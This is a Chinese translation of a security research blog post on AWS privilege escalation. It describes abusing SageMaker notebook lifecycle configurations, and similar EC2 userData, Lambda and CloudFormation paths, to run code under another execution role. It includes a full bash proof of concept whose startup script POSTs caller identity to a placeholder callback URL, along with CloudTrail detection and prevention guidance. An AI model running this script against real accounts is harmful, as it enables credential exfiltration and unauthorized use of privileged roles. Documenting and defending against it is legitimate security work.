AWS SageMaker权限提升漏洞(附PoC)

Dubito 云原生安全指北
2025年12月2日 08:35

询问ChatGPT

 

注:本文翻译自Plerion的文章《Privilege escalation with SageMaker and there's more hiding in execution roles》[1],可点击文末“阅读原文”按钮查看英文原文。

全文如下:

一、引言

大家最近怎么样啊,年轻人们?我虽然不年轻了,但知道你们是这么说话的,没开玩笑。

在2016年,那会儿腰还没伤、也不午睡,我在EC2里发现了一个有趣的权限提升路径[2]。方法很简单:如果攻击者能够对一个现有的EC2实例调用 ec2:StartInstancesec2:StopInstances 以及 ec2:ModifyInstanceAttribute,他们就能获得该实例关联的实例配置文件(也就是执行角色 execution role)的权限。

原理非常简单。有一种通过管理API修改实例上代码的非侵入方式。你可以使用 ec2:ModifyInstanceAttribute 为实例设置的属性之一是 userData。这个属性很特殊,因为它保存着在实例首次启动时执行的代码。不过,如果你在里面加上 #cloud-boothook 指令,它就会在每次启动时都执行。

所以,一个聪明的攻击者可以先停止一个实例,把启动hook代码放进去,再塞一些窃取凭据的代码,然后重新启动实例。搞定!他们的代码就在实例的上下文中运行了,他们也就获取了该上下文的凭据。

那时候这感觉像个特例,而且从那以后我也没见过类似的。然而,过去几周我一直在研究服务关联角色[3](译文详见AWS服务关联角色的痛,希望你永远都不必懂)、执行角色和SageMaker,结果又碰到了一两个类似的例子。

二、SageMaker 权限提升

首先,这个SageMaker到底是个啥玩意儿?!我是说真的。我到现在也没完全搞明白。

这位曾经名为Amazon SageMaker的艺术家,现在有了更清晰、更直白的名字 Amazon SageMaker AI,被描述为“下一代 Amazon SageMaker,是您所有数据、分析和人工智能的中心”。

根据AWS服务参考,它有5项服务 (sagemakersagemaker-data-science-assistantsagemaker-geospatialsagemaker-mlflowsagemaker-unified-studio-mcp);而根据其API模型,它又有不同的6项 (sagemakersagemaker-a2i-runtimesagemaker-edgesagemaker-geospatialsagemaker-metrics)。

不过在网页控制台里,它是什么以及各个选项之间的区别就清楚多了:

图片

而当你真正尝试去设置它时,又会碰到实例、Studios、RStudios、Domains、Canvases、合作伙伴应用、集群、作业、模型等等,不一而足。这是我见过最复杂、最像“我要把所有乐高都倒成一堆”的服务。

如果身份传播功能在你的12套乐高积木里都无法正常工作,那支持它又有什么意义呢?

图片

不过,我跑题了。让我们回到权限提升这个话题。

SageMaker 的一个很酷的功能是允许你运行一个托管的 Jupyter Notebook 实例。市场团队解释说,Notebook 实例是一个用于“创建和共享计算文档”的 Web 应用程序。而我认为它是一种快速编写脏的、未经信任的实验性代码,然后按下运行按钮,看看会发生什么的方式。

本质上,SageMaker 实例几乎可以肯定是 EC2 实例,而 EC2 实例及其用户都需要相应的权限才能执行操作。Notebook 实例因为数据科学而更酷,因此需要更酷的权限[4]

要是能像在 EC2 上那样,通过管理 API 在这些实例上运行代码就好了,不是吗?SageMaker 有 sagemaker:StopNotebookInstance 和 sagemaker:StartNotebookInstance 操作。没有 sagemaker:ModifyInstanceAttribute,但是有一个 sagemaker:UpdateNotebookInstance。这很类似,但它不接受 userData 参数。嗯……

为了找点乐子,你觉得这个 lifecycle-config-name 参数是什么,或者有什么作用?答案不是已经很明显了吗?

“生命周期配置是一个 shell 脚本的集合,当您创建或启动 Notebook 实例时就会运行。”

我想我们都同意,把 shell 脚本称为“配置”是让合规团队闭嘴的好方法。这些专业建议可不是免费的,所以别忘了申请演示 Plerion 云安全平台[5]

把所有要素放在一起看,虽然名称不同,但成分俱全,权限提升的原理是相同的:

  1. 1. 停止一个现有的 Notebook 实例。
  2. 2. 创建一个包含窃取 AWS 凭据代码或其他任何代码的生命周期配置。
  3. 3. 用新的生命周期配置更新该 Notebook 实例。
  4. 4. 启动 Notebook 实例。
  5. 5. 等待凭据被窃取或特权操作被执行。

就是这样。API 操作已在另一个 IAM 主体的上下文中执行。这使得攻击者能够利用一个他们并未合法获得的角色来运行 API 操作。

以下是我在一个 SageMaker notebook 中编写的一些PoC代码:

#!/usr/bin/env bash
set -euo pipefail

REGION="[your-aws-region]"
NOTEBOOK_NAME="[your-notebook-name]"
LC_NAME="[your-lifecycle-config-name]"
CALLBACK_URL="[https://example.com/your-endpoint]"

echo "Checking if lifecycle config '$LC_NAME' exists..."

set +e
aws sagemaker describe-notebook-instance-lifecycle-config \
  --region "$REGION" \
  --notebook-instance-lifecycle-config-name "$LC_NAME" >/dev/null 2>&1
EXISTS=$?
set -e

if [ "$EXISTS" -eq 0 ]; then
  echo "Lifecycle config '$LC_NAME' already exists. Skipping creation."
else
  echo "Lifecycle config '$LC_NAME' does not exist. Creating now..."

  # 
Build lifecycle script
  LIFECYCLE_SCRIPT=$(cat <<EOF
#
!/bin/bash
set -e

IDENTITY_JSON=\$(aws sts get-caller-identity --output json 2>/tmp/sts_err || true)

if [ -n "\$IDENTITY_JSON" ]; then
  curl -sS -X POST \
    -H "Content-Type: application/json" \
    -d "\$IDENTITY_JSON" \
    "$CALLBACK_URL" \
    >/tmp/postbin_out 2>&1 || true
fi
EOF
)

  # 
macOS base64
  ENCODED_SCRIPT=$(printf '%s' "$LIFECYCLE_SCRIPT" | base64 | tr -d '\n')

  aws sagemaker create-notebook-instance-lifecycle-config \
    --region "$REGION" \
    --notebook-instance-lifecycle-config-name "$LC_NAME" \
    --on-start "[{\"Content\":\"$ENCODED_SCRIPT\"}]"

  echo "Lifecycle config created."
fi

echo "Getting notebook status..."
STATUS=$(aws sagemaker describe-notebook-instance \
  --region "$REGION" \
  --notebook-instance-name "$NOTEBOOK_NAME" \
  --query 'NotebookInstanceStatus' \
  --output text)

echo "Current notebook status: $STATUS"

if [ "$STATUS" = "InService" ]; then
  echo "Stopping notebook..."
  aws sagemaker stop-notebook-instance \
    --region "$REGION" \
    --notebook-instance-name "$NOTEBOOK_NAME"

  aws sagemaker wait notebook-instance-stopped \
    --region "$REGION" \
    --notebook-instance-name "$NOTEBOOK_NAME"
else
  echo "Notebook not running, skipping stop."
fi

echo "Attaching lifecycle config..."
aws sagemaker update-notebook-instance \
  --region "$REGION" \
  --notebook-instance-name "$NOTEBOOK_NAME" \
  --lifecycle-config-name "$LC_NAME"

echo "Waiting for notebook to become Stopped after update..."
aws sagemaker wait notebook-instance-stopped \
  --region "$REGION" \
  --notebook-instance-name "$NOTEBOOK_NAME"

echo "Starting notebook..."
aws sagemaker start-notebook-instance \
  --region "$REGION" \
  --notebook-instance-name "$NOTEBOOK_NAME"

echo "Done. Lifecycle config attached and notebook restarting."

三、利用执行角色的通用权限提升模式

我们能否将这个模式进一步推广,或者应用到其他地方呢?很可能可以。(我觉得它也对 SageMaker Studios 有效,嘿嘿)。

通常,在 AWS 中你不能随意传递不同的权限,除非获得授权。PassRole[6] 权限正是用于控制这种情况。这种权限提升方式之所以能成功,主要有两个原因:

  • • PassRole 检查发生在配置时刻。也就是说,当你调用 API 为特定资源设置执行角色时,就是在那个时刻进行检查。仅此一次,过期不候。
  • • 有时存在修改后续将要执行的操作的路径,尤其是在配置好执行角色之后,最常见的形式就是自定义代码。这就将两个权限检查与特权操作本身分离开来了。

如果你想成为一个聪明的小黑客,或许可以彻底搜索 AWS 中的所有 API 模型,找出哪些地方使用了执行角色,然后系统地检查它们是否符合上述第二个原因。你很快就会遇到 lambda:UpdateFunctionCode(用于在初始设置后更改函数代码)和 lambda:UpdateFunctionConfiguration(用于添加函数运行时自动执行的层)。Lucian Patian 最近发现[7],这个模式也适用于 cloudformation:CreateChangeSet 加上 cloudformation:ExecuteChangeSet 的组合。

享受狩猎的乐趣吧!

四、预防与检测

如果你想知道如何在真实环境中发现这类行为,其迹象是相当直接的。无论是 EC2 还是 SageMaker 版本,攻击者都不是凭空窃取凭据,他们是在修改一些通常不应被更改的东西:EC2 上的 userData 或 Notebook 的生命周期配置。在 CloudTrail 日志中,留意以下不寻常的操作模式:

  • • 对于 EC2:StopInstances → ModifyInstanceAttribute → StartInstances
  • • 对于 SageMaker:StopNotebookInstance → UpdateNotebookInstance → StartNotebookInstance

尤其当这些操作是由通常不管理该特定计算资源的身份执行时,更应警惕。

从预防的角度看,修复方法也同样朴实无华:限制有权修改启动配置的人员,并对 ec2:ModifyInstanceAttributesagemaker:UpdateNotebookInstance 以及生命周期配置管理实施严格的权限边界。如果想更进一步,可以要求对任何“修改配置后启动”的模式进行审批或线下审查。简单来说:将任何更改启动代码的能力,等同于“以执行角色身份运行任意代码”的权限来对待,因为它本质上就是如此。

五、今天外面天气是不是很棒?

悉尼今天 30°C (86°F),完美的一天。所以我借此机会给 AWS 漏洞披露计划发邮件,告知他们这个权限提升的巨大隐患。以下是他们的回应:

(他们还未回复,但我感觉快了)

我不确定是否应该将此归类为一个漏洞。你觉得呢?这感觉更像是平台设计选择带来的一个不幸副作用。一些稍年长的朋友可能会称之为架构缺陷。无论如何,无需恐慌。在你构建自己的云上城堡时,留意这些权限组合即可。

顺便说一下,多年来在 AWS 权限提升方面已有大量研究工作。其中大部分(并非全部)已在 HackingTheCloud[8] 上整理或链接,如果你对这个话题感兴趣,可以去看看。

引用链接

[1] 《Privilege escalation with SageMaker and there's more hiding in execution roles》: https://www.plerion.com/blog/privilege-escalation-with-sagemaker-and-execution-roles
[2] 权限提升路径: https://github.com/dagrz/aws_pwn/blob/master/elevation/bouncy_bouncy_cloudy_cloud.py
[3] 研究服务关联角色: https://www.plerion.com/blog/about-aws-service-linked-roles
[4] 更酷的权限: https://www.sentinelone.com/blog/understanding-threat-vectors-in-using-amazon-sagemaker-ai/
[5] 申请演示 Plerion 云安全平台: https://www.plerion.com/get-a-demo
[6] PassRole: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_passrole.html
[7] 最近发现: https://dev.to/aws-builders/cloudformation-change-set-privilege-escalation-18i6
[8] HackingTheCloud: https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/

 


图片



交流群

图片




收录于云安全技术干货